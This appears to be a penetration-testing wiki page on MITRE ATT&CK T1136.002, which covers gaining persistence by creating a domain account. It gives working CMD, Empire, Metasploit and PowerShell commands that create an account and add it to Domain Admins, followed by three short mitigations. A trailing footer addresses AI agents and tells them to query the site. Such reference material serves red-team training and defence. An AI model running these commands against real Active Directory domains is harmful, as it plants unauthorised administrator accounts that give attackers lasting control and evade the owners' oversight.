# Domain Account

**ATT\&CK ID:** [T1136.002](https://attack.mitre.org/techniques/T1136/002/)

**Permissions Required:** <mark style="color:red;">**Administrator**</mark>

**Description**

Adversaries may create a domain account to maintain access to victim systems. Domain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain. Domain accounts can cover user, administrator, and service accounts. With a sufficient level of access, the `net user /add /domain` command can be used to create a domain account.

Such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.

## **Techniques**

### **CMD**

```bash
# Create Domain User
net user "<Username>" "<Password>" /add /domain

# Add to Domain Admins Group
net group "Domain Admins" "<Username>" /add /domain
```

![](/files/N1EKMGnSt9n7OE3emBcN)

### **Empire**

```bash
usemodule/powershell/persistence/misc/add_netuser

# Local account
set Domain ''
set UserName <Username>
execite

# Domain Account
set Domain <Domain>
set UserName <Username>
execute
```

![](/files/H3En7VbWQ1RN9HUOPD61)

### Metasploit

```
use post/windows/manage/add_user 

# Change ADDTODOMAIN to FALSE to create local account

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   ADDTODOMAIN  true             yes       Add to Domain if true, otherwise add locally
   ADDTOGROUP   true             yes       Add group if it does not exist
   GROUP        Domain Admins    no        Add user into group, creating it if necessary
   PASSWORD     Password123      no        Password of the user
   SESSION      Session 1        yes       The session to run this module on
   TOKEN                         no        Username or PID of the token which will be used (if blank, Domain Admin tokens will be enumerated)
   USERNAME     ViperOne         yes       The username of the user to add (not-qualified, e.g. BOB)
```

### **PowerShell**

```powershell
$Name = "<Username>"
$Domain = "<Domain>"
$Password = "Password123"
$SecurePass = ConvertTo-SecureString -String $Password -AsPlainText -Force
$NewUser = New-ADUser `
    -Name "$Name"`
    -SamAccountName "$Name"`
    -UserPrincipalName "$Name@$Domain"`
    -AccountPassword $SecurePass;  
Enable-ADAccount -Identity "$Name";
Add-ADGroupMember -Identity "Domain Admins" -Members "$Name"
```

![](/files/5yfgGgSPZ6rBtnoVlh5f)

## **Mitigation**

* Protect domain controllers by ensuring proper security configuration for critical servers.
* Configure access controls and firewalls to limit access to domain controllers and systems used to create and manage accounts.
* Use multi-factor authentication for user and privileged accounts.

## **Further Reading**

**CMD:** [**https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc771865(v=ws.11)**](https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc771865\(v=ws.11\))\*\*\*\*

**PowerShell:** [**https://docs.microsoft.com/en-us/powershell/module/activedirectory/new-aduser?view=windowsserver2022-ps**](https://docs.microsoft.com/en-us/powershell/module/activedirectory/new-aduser?view=windowsserver2022-ps)\*\*\*\*

***


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://viperone.gitbook.io/pentest-everything/everything/everything-active-directory/persistence/create-account/domain-account.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
